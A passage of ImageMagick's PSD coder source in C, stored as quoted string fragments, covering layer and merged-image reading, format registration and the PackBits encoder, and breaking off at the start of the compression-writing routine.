image->alpha_trait=BlendPixelTrait;\n }", " /*\n We only need to know if the image has an alpha channel\n */\n if (skip_layers != MagickFalse)\n return(MagickTrue);", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image contains %.20g layers\",(double) number_layers);", " if (number_layers == 0)\n ThrowBinaryException(CorruptImageError,\"InvalidNumberOfLayers\",\n image->filename);", " layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers,\n sizeof(*layer_info));\n if (layer_info == (LayerInfo *) NULL)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" allocation of LayerInfo failed\");\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n (void) memset(layer_info,0,(size_t) number_layers*sizeof(*layer_info));", " for (i=0; i < number_layers; i++)\n {\n ssize_t\n top,\n left,\n bottom,\n right;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading layer #%.20g\",(double) i+1);\n top=(ssize_t) ReadBlobSignedLong(image);\n left=(ssize_t) ReadBlobSignedLong(image);\n bottom=(ssize_t) ReadBlobSignedLong(image);\n right=(ssize_t) ReadBlobSignedLong(image);\n if ((right < left) || (bottom < top))\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n layer_info[i].page.y=top;\n layer_info[i].page.x=left;\n layer_info[i].page.width=(size_t) (right-left);\n layer_info[i].page.height=(size_t) (bottom-top);\n layer_info[i].channels=ReadBlobShort(image);\n if (layer_info[i].channels > MaxPSDChannels)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"MaximumChannelsExceeded\",\n image->filename);\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g\",\n (double) layer_info[i].page.x,(double) layer_info[i].page.y,\n (double) layer_info[i].page.height,(double)\n layer_info[i].page.width,(double) layer_info[i].channels);\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n layer_info[i].channel_info[j].supported=GetPixelChannelFromPsdIndex(\n psd_info,(ssize_t) ReadBlobSignedShort(image),\n &layer_info[i].channel_info[j].channel);\n layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info,\n image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" channel[%.20g]: type=%.20g, size=%.20g\",(double) j,\n (double) layer_info[i].channel_info[j].channel,\n (double) layer_info[i].channel_info[j].size);\n }\n if (CheckPSDChannels(image,psd_info,&layer_info[i]) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer type was %.4s instead of 8BIM\", type);\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n count=ReadPSDString(image,layer_info[i].blendkey,4);\n if (count != 4)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\"ImproperImageHeader\",\n image->filename);\n }\n layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char)\n ReadBlobByte(image));\n layer_info[i].clipping=(unsigned char) ReadBlobByte(image);\n layer_info[i].flags=(unsigned char) ReadBlobByte(image);\n layer_info[i].visible=!(layer_info[i].flags & 0x02);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s\",\n layer_info[i].blendkey,(double) layer_info[i].opacity,\n layer_info[i].clipping ? \"true\" : \"false\",layer_info[i].flags,\n layer_info[i].visible ? \"true\" : \"false\");\n (void) ReadBlobByte(image); /* filler */", " size=ReadBlobLong(image);\n if (size != 0)\n {\n MagickSizeType\n combined_length,\n length;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer contains additional info\");\n length=ReadBlobLong(image);\n combined_length=length+4;\n if (length != 0)\n {\n /*\n Layer mask info.\n */\n layer_info[i].mask.page.y=(ssize_t) ReadBlobSignedLong(image);\n layer_info[i].mask.page.x=(ssize_t) ReadBlobSignedLong(image);\n layer_info[i].mask.page.height=(size_t)\n (ReadBlobSignedLong(image)-layer_info[i].mask.page.y);\n layer_info[i].mask.page.width=(size_t) (\n ReadBlobSignedLong(image)-layer_info[i].mask.page.x);\n layer_info[i].mask.background=(unsigned char) ReadBlobByte(\n image);\n layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image);\n if (!(layer_info[i].mask.flags & 0x01))\n {\n layer_info[i].mask.page.y=layer_info[i].mask.page.y-\n layer_info[i].page.y;\n layer_info[i].mask.page.x=layer_info[i].mask.page.x-\n layer_info[i].page.x;\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g\",\n (double) layer_info[i].mask.page.x,(double)\n layer_info[i].mask.page.y,(double)\n layer_info[i].mask.page.width,(double)\n layer_info[i].mask.page.height,(double) ((MagickOffsetType)\n length)-18);\n /*\n Skip over the rest of the layer mask information.\n */\n if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n length=ReadBlobLong(image);\n combined_length+=length+4;\n if (length != 0)\n {\n /*\n Layer blending ranges info.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer blending ranges: length=%.20g\",(double)\n ((MagickOffsetType) length));\n if (DiscardBlobBytes(image,length) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n /*\n Layer name.\n */\n length=(MagickSizeType) (unsigned char) ReadBlobByte(image);\n combined_length+=length+1;\n if (length > 0)\n (void) ReadBlob(image,(size_t) length++,layer_info[i].name);\n layer_info[i].name[length]='\\0';\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer name: %s\",layer_info[i].name);\n if ((length % 4) != 0)\n {\n length=4-(length % 4);\n combined_length+=length;\n /* Skip over the padding of the layer name */\n if (DiscardBlobBytes(image,length) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n length=(MagickSizeType) size-combined_length;\n if (length > 0)\n {\n unsigned char\n *info;", " if (length > GetBlobSize(image))\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"InsufficientImageDataInFile\",image->filename);\n }\n layer_info[i].info=AcquireStringInfo((const size_t) length);\n info=GetStringInfoDatum(layer_info[i].info);\n (void) ReadBlob(image,(const size_t) length,info);\n ParseAdditionalInfo(&layer_info[i]);\n }\n }\n }", " for (i=0; i < number_layers; i++)\n {\n if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is empty\");\n if (layer_info[i].info != (StringInfo *) NULL)\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n continue;\n }", " /*\n Allocate layered image.\n */\n layer_info[i].image=CloneImage(image,layer_info[i].page.width,\n layer_info[i].page.height,MagickFalse,exception);\n if (layer_info[i].image == (Image *) NULL)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" allocation of image for layer %.20g failed\",(double) i);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n if (layer_info[i].channel_info[j].channel == AlphaPixelChannel)\n {\n layer_info[i].image->alpha_trait=BlendPixelTrait;\n break;\n }\n }\n if (layer_info[i].info != (StringInfo *) NULL)\n {\n (void) SetImageProfile(layer_info[i].image,\"psd:additional-info\",\n layer_info[i].info,exception);\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n }\n }\n if (image_info->ping != MagickFalse)\n {\n AttachPSDLayers(image,layer_info,number_layers);\n return(MagickTrue);\n }\n status=MagickTrue;\n index=0;\n for (i=0; i < number_layers; i++)\n {\n if ((layer_info[i].image == (Image *) NULL) ||\n (PSDSkipImage(psd_info, image_info,++index) != MagickFalse))\n {\n for (j=0; j < (ssize_t) layer_info[i].channels; j++)\n {\n if (DiscardBlobBytes(image,(MagickSizeType)\n layer_info[i].channel_info[j].size) == MagickFalse)\n {\n layer_info=DestroyLayerInfo(layer_info,number_layers);\n ThrowBinaryException(CorruptImageError,\n \"UnexpectedEndOfFile\",image->filename);\n }\n }\n continue;\n }", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading data for layer %.20g\",(double) i);", " status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i],\n exception);\n if (status == MagickFalse)\n break;", " status=SetImageProgress(image,LoadImagesTag,(MagickOffsetType) i,\n (MagickSizeType) number_layers);\n if (status == MagickFalse)\n break;\n }", " if (status != MagickFalse)\n AttachPSDLayers(image,layer_info,number_layers);\n else\n layer_info=DestroyLayerInfo(layer_info,number_layers);", " return(status);\n}", "ModuleExport MagickBooleanType ReadPSDLayers(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " status=IsRightsAuthorized(CoderPolicyDomain,ReadPolicyRights,\"PSD\");\n if (status == MagickFalse)\n return(MagickTrue);\n return(ReadPSDLayersInternal(image,image_info,psd_info,MagickFalse,\n exception));\n}", "static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info,\n Image *image,const PSDInfo *psd_info,ExceptionInfo *exception)\n{\n MagickOffsetType\n *sizes;", " MagickBooleanType\n status;", " PSDCompressionType\n compression;", " ssize_t\n i;", " if ((image_info->number_scenes != 0) && (image_info->scene != 0))\n return(MagickTrue);\n compression=(PSDCompressionType) ReadBlobMSBShort(image);\n image->compression=ConvertPSDCompression(compression);", " if (compression != Raw && compression != RLE)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n TypeWarning,\"CompressionNotSupported\",\"'%.20g'\",(double) compression);\n return(MagickFalse);\n }", " sizes=(MagickOffsetType *) NULL;\n if (compression == RLE)\n {\n sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels);\n if (sizes == (MagickOffsetType *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }", " SetPsdMetaChannels(image,psd_info,psd_info->channels,exception);\n status=MagickTrue;\n for (i=0; i < (ssize_t) psd_info->channels; i++)\n {\n PixelChannel\n channel;", " status=GetPixelChannelFromPsdIndex(psd_info,i,&channel);\n if (status == MagickFalse)\n {\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageError,\"MaximumChannelsExceeded\",\"'%.20g'\",(double) i);\n break;\n }", " if (compression == RLE)\n status=ReadPSDChannelRLE(image,channel,sizes+(i*image->rows),exception);\n else\n status=ReadPSDChannelRaw(image,channel,exception);", " if (status != MagickFalse)\n status=SetImageProgress(image,LoadImagesTag,(MagickOffsetType) i,\n psd_info->channels);", " if (status == MagickFalse)\n break;\n }", " if ((status != MagickFalse) && (image->colorspace == CMYKColorspace))\n status=NegateCMYK(image,exception);", " if (status != MagickFalse)\n status=CorrectPSDAlphaBlend(image_info,image,exception);", " sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes);", " return(status);\n}", "static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;", " MagickBooleanType\n skip_layers;", " MagickOffsetType\n offset;", " MagickSizeType\n length;", " MagickBooleanType\n status;", " PSDInfo\n psd_info;", " ssize_t\n i;", " size_t\n image_list_length;", " ssize_t\n count;", " StringInfo\n *profile;", " /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);", " image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read image header.\n */\n image->endian=MSBEndian;\n count=ReadBlob(image,4,(unsigned char *) psd_info.signature);\n psd_info.version=ReadBlobMSBShort(image);\n if ((count != 4) || (LocaleNCompare(psd_info.signature,\"8BPS\",4) != 0) ||\n ((psd_info.version != 1) && (psd_info.version != 2)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n (void) ReadBlob(image,6,psd_info.reserved);\n psd_info.channels=ReadBlobMSBShort(image);\n if (psd_info.channels < 1)\n ThrowReaderException(CorruptImageError,\"MissingImageChannel\");\n if (psd_info.channels > MaxPSDChannels)\n ThrowReaderException(CorruptImageError,\"MaximumChannelsExceeded\");\n psd_info.rows=ReadBlobMSBLong(image);\n psd_info.columns=ReadBlobMSBLong(image);\n if ((psd_info.version == 1) && ((psd_info.rows > 30000) ||\n (psd_info.columns > 30000)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.depth=ReadBlobMSBShort(image);\n if ((psd_info.depth != 1) && (psd_info.depth != 8) &&\n (psd_info.depth != 16) && (psd_info.depth != 32))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.mode=ReadBlobMSBShort(image);\n if ((psd_info.mode == IndexedMode) && (psd_info.channels > 3))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s\",\n (double) psd_info.columns,(double) psd_info.rows,(double)\n psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType)\n psd_info.mode));\n if (EOFBlob(image) != MagickFalse)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Initialize image.\n */\n image->depth=psd_info.depth;\n image->columns=psd_info.columns;\n image->rows=psd_info.rows;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n status=ResetImagePixels(image,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n psd_info.min_channels=3;\n switch (psd_info.mode)\n {\n case LabMode:\n {\n (void) SetImageColorspace(image,LabColorspace,exception);\n break;\n }\n case CMYKMode:\n {\n psd_info.min_channels=4;\n (void) SetImageColorspace(image,CMYKColorspace,exception);\n break;\n }\n case BitmapMode:\n case GrayscaleMode:\n case DuotoneMode:\n {\n if (psd_info.depth != 32)\n {\n status=AcquireImageColormap(image,MagickMin((size_t)\n (psd_info.depth < 16 ? 256 : 65536), MaxColormapSize),exception);\n if (status == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image colormap allocated\");\n }\n psd_info.min_channels=1;\n (void) SetImageColorspace(image,GRAYColorspace,exception);\n break;\n }\n case IndexedMode:\n {\n psd_info.min_channels=1;\n break;\n }\n case MultichannelMode:\n {\n if ((psd_info.channels > 0) && (psd_info.channels < 3))\n {\n psd_info.min_channels=psd_info.channels;\n (void) SetImageColorspace(image,GRAYColorspace,exception);\n }\n break;\n }\n }\n if (psd_info.channels < psd_info.min_channels)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n /*\n Read PSD raster colormap only present for indexed and duotone images.\n */\n length=ReadBlobMSBLong(image);\n if ((psd_info.mode == IndexedMode) && (length < 3))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (length != 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading colormap\");\n if ((psd_info.mode == DuotoneMode) || (psd_info.depth == 32))\n {\n /*\n Duotone image data; the format of this data is undocumented.\n 32 bits per pixel; the colormap is ignored.\n */\n (void) SeekBlob(image,(const MagickOffsetType) length,SEEK_CUR);\n }\n else\n {\n size_t\n number_colors;", " /*\n Read PSD raster colormap.\n */\n number_colors=(size_t) length/3;\n if (number_colors > 65536)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (AcquireImageColormap(image,number_colors,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].red=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].green=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].blue=(MagickRealType) ScaleCharToQuantum(\n (unsigned char) ReadBlobByte(image));\n image->alpha_trait=UndefinedPixelTrait;\n }\n }\n if ((image->depth == 1) && (image->storage_class != PseudoClass))\n ThrowReaderException(CorruptImageError, \"ImproperImageHeader\");\n psd_info.has_merged_image=MagickTrue;\n profile=(StringInfo *) NULL;\n length=ReadBlobMSBLong(image);\n if (length != 0)\n {\n unsigned char\n *blocks;", " /*\n Image resources block.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading image resource blocks - %.20g bytes\",(double)\n ((MagickOffsetType) length));\n if (length > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n blocks=(unsigned char *) AcquireQuantumMemory((size_t) length,\n sizeof(*blocks));\n if (blocks == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,(size_t) length,blocks);\n if ((count != (ssize_t) length) || (length < 4) ||\n (LocaleNCompare((char *) blocks,\"8BIM\",4) != 0))\n {\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n profile=ParseImageResourceBlocks(&psd_info,image,blocks,(size_t) length);\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n }\n /*\n Layer and mask block.\n */\n length=GetPSDSize(&psd_info,image);\n if (length == 8)\n {\n length=ReadBlobMSBLong(image);\n length=ReadBlobMSBLong(image);\n }\n offset=TellBlob(image);\n skip_layers=MagickFalse;\n if ((image_info->number_scenes == 1) && (image_info->scene == 0) &&\n (psd_info.has_merged_image != MagickFalse))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" read composite only\");\n skip_layers=MagickTrue;\n }\n if (length == 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has no layers\");\n }\n else\n {\n if (ReadPSDLayersInternal(image,image_info,&psd_info,skip_layers,\n exception) != MagickTrue)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }", " /*\n Skip the rest of the layer and mask information.\n */\n (void) SeekBlob(image,offset+length,SEEK_SET);\n }\n /*\n If we are only \"pinging\" the image, then we're done - so return.\n */\n if (EOFBlob(image) != MagickFalse)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n ThrowReaderException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n if (image_info->ping != MagickFalse)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n /*\n Read the precombined layer, present for PSD < 4 compatibility.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading the precombined layer\");\n image_list_length=GetImageListLength(image);\n if ((psd_info.has_merged_image != MagickFalse) || (image_list_length == 1))\n psd_info.has_merged_image=(MagickBooleanType) ReadPSDMergedImage(\n image_info,image,&psd_info,exception);\n if ((psd_info.has_merged_image == MagickFalse) && (image_list_length == 1) &&\n (length != 0))\n {\n (void) SeekBlob(image,offset,SEEK_SET);\n status=ReadPSDLayersInternal(image,image_info,&psd_info,MagickFalse,\n exception);\n if (status != MagickTrue)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image_list_length=GetImageListLength(image);\n }\n if (psd_info.has_merged_image == MagickFalse)\n {\n Image\n *merged;", " if (image_list_length == 1)\n {\n if (profile != (StringInfo *) NULL)\n profile=DestroyStringInfo(profile);\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n }\n image->background_color.alpha=(MagickRealType) TransparentAlpha;\n image->background_color.alpha_trait=BlendPixelTrait;\n (void) SetImageBackgroundColor(image,exception);\n merged=MergeImageLayers(image,FlattenLayer,exception);\n if (merged == (Image *) NULL)\n {\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n ReplaceImageInList(&image,merged);\n }\n if (profile != (StringInfo *) NULL)\n {\n const char\n *option;", " Image\n *next;", " MagickBooleanType\n replicate_profile;", " option=GetImageOption(image_info,\"psd:replicate-profile\");\n replicate_profile=IsStringTrue(option);\n i=0;\n next=image;\n while (next != (Image *) NULL)\n {\n if (PSDSkipImage(&psd_info,image_info,i++) == MagickFalse)\n {\n (void) SetImageProfile(next,GetStringInfoName(profile),profile,\n exception);\n if (replicate_profile == MagickFalse)\n break;\n }\n next=next->next;\n }\n profile=DestroyStringInfo(profile);\n }\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% R e g i s t e r P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% RegisterPSDImage() adds properties for the PSD image format to\n% the list of supported formats. The properties include the image format\n% tag, a method to read and/or write the format, whether the format\n% supports the saving of more than one frame to the same file or blob,\n% whether the format supports native in-memory I/O, and a brief\n% description of the format.\n%\n% The format of the RegisterPSDImage method is:\n%\n% size_t RegisterPSDImage(void)\n%\n*/\nModuleExport size_t RegisterPSDImage(void)\n{\n MagickInfo\n *entry;", " entry=AcquireMagickInfo(\"PSD\",\"PSB\",\"Adobe Large Document Format\");\n entry->decoder=(DecodeImageHandler *) ReadPSDImage;\n entry->encoder=(EncodeImageHandler *) WritePSDImage;\n entry->magick=(IsImageFormatHandler *) IsPSD;\n entry->flags|=CoderDecoderSeekableStreamFlag;\n entry->flags|=CoderEncoderSeekableStreamFlag;\n (void) RegisterMagickInfo(entry);\n entry=AcquireMagickInfo(\"PSD\",\"PSD\",\"Adobe Photoshop bitmap\");\n entry->decoder=(DecodeImageHandler *) ReadPSDImage;\n entry->encoder=(EncodeImageHandler *) WritePSDImage;\n entry->magick=(IsImageFormatHandler *) IsPSD;\n entry->flags|=CoderDecoderSeekableStreamFlag;\n entry->flags|=CoderEncoderSeekableStreamFlag;\n (void) RegisterMagickInfo(entry);\n return(MagickImageCoderSignature);\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% U n r e g i s t e r P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% UnregisterPSDImage() removes format registrations made by the\n% PSD module from the list of supported formats.\n%\n% The format of the UnregisterPSDImage method is:\n%\n% UnregisterPSDImage(void)\n%\n*/\nModuleExport void UnregisterPSDImage(void)\n{\n (void) UnregisterMagickInfo(\"PSB\");\n (void) UnregisterMagickInfo(\"PSD\");\n}\n\f\n/*\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% %\n% %\n% %\n% W r i t e P S D I m a g e %\n% %\n% %\n% %\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%\n% WritePSDImage() writes an image in the Adobe Photoshop encoded image format.\n%\n% The format of the WritePSDImage method is:\n%\n% MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image,\n% ExceptionInfo *exception)\n%\n% A description of each parameter follows.\n%\n% o image_info: the image info.\n%\n% o image: The image.\n%\n% o exception: return any errors or warnings in this structure.\n%\n*/", "static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image,\n const size_t offset)\n{\n if (psd_info->version == 1)\n return(WriteBlobMSBShort(image,(unsigned short) offset));\n return(WriteBlobMSBLong(image,(unsigned int) offset));\n}", "static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size,const MagickOffsetType offset)\n{\n MagickOffsetType\n current_offset;", " ssize_t\n result;", " current_offset=TellBlob(image);\n (void) SeekBlob(image,offset,SEEK_SET);\n if (psd_info->version == 1)\n result=WriteBlobMSBShort(image,(unsigned short) size);\n else\n result=WriteBlobMSBLong(image,(unsigned int) size);\n (void) SeekBlob(image,current_offset,SEEK_SET);\n return(result);\n}", "static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size)\n{\n if (psd_info->version == 1)\n return(WriteBlobLong(image,(unsigned int) size));\n return(WriteBlobLongLong(image,size));\n}", "static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image,\n const MagickSizeType size,const MagickOffsetType offset)\n{\n MagickOffsetType\n current_offset;", " ssize_t\n result;", " current_offset=TellBlob(image);\n (void) SeekBlob(image,offset,SEEK_SET);\n result=SetPSDSize(psd_info,image,size);\n (void) SeekBlob(image,current_offset,SEEK_SET);\n return(result);\n}", "static size_t PSDPackbitsEncodeImage(Image *image,const size_t length,\n const unsigned char *pixels,unsigned char *compact_pixels,\n ExceptionInfo *exception)\n{\n int\n count;", " ssize_t\n i,\n j;", " unsigned char\n *q;", " unsigned char\n *packbits;", " /*\n Compress pixels with Packbits encoding.\n */\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(pixels != (unsigned char *) NULL);\n assert(compact_pixels != (unsigned char *) NULL);\n packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits));\n if (packbits == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n q=compact_pixels;\n for (i=(ssize_t) length; i != 0; )\n {\n switch (i)\n {\n case 1:\n {\n i--;\n *q++=(unsigned char) 0;\n *q++=(*pixels);\n break;\n }\n case 2:\n {\n i-=2;\n *q++=(unsigned char) 1;\n *q++=(*pixels);\n *q++=pixels[1];\n break;\n }\n case 3:\n {\n i-=3;\n if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2)))\n {\n *q++=(unsigned char) ((256-3)+1);\n *q++=(*pixels);\n break;\n }\n *q++=(unsigned char) 2;\n *q++=(*pixels);\n *q++=pixels[1];\n *q++=pixels[2];\n break;\n }\n default:\n {\n if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2)))\n {\n /*\n Packed run.\n */\n count=3;\n while (((ssize_t) count < i) && (*pixels == *(pixels+count)))\n {\n count++;\n if (count >= 127)\n break;\n }\n i-=count;\n *q++=(unsigned char) ((256-count)+1);\n *q++=(*pixels);\n pixels+=count;\n break;\n }\n /*\n Literal run.\n */\n count=0;\n while ((*(pixels+count) != *(pixels+count+1)) ||\n (*(pixels+count+1) != *(pixels+count+2)))\n {\n packbits[count+1]=pixels[count];\n count++;\n if (((ssize_t) count >= (i-3)) || (count >= 127))\n break;\n }\n i-=count;\n *packbits=(unsigned char) (count-1);\n for (j=0; j <= (ssize_t) count; j++)\n *q++=packbits[j];\n pixels+=count;\n break;\n }\n }\n }\n *q++=(unsigned char) 128; /* EOD marker */\n packbits=(unsigned char *) RelinquishMagickMemory(packbits);\n return((size_t) (q-compact_pixels));\n}", "static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image,\n const Image *next_image,const CompressionType compression,\n const ssize_t channels)\n{\n size_t\n length;", " ssize_t\n i,\n y;", " if (compression == RLECompression)\n {\n length=(size_t) WriteBlobShort(image,RLE);\n for (i=0; i 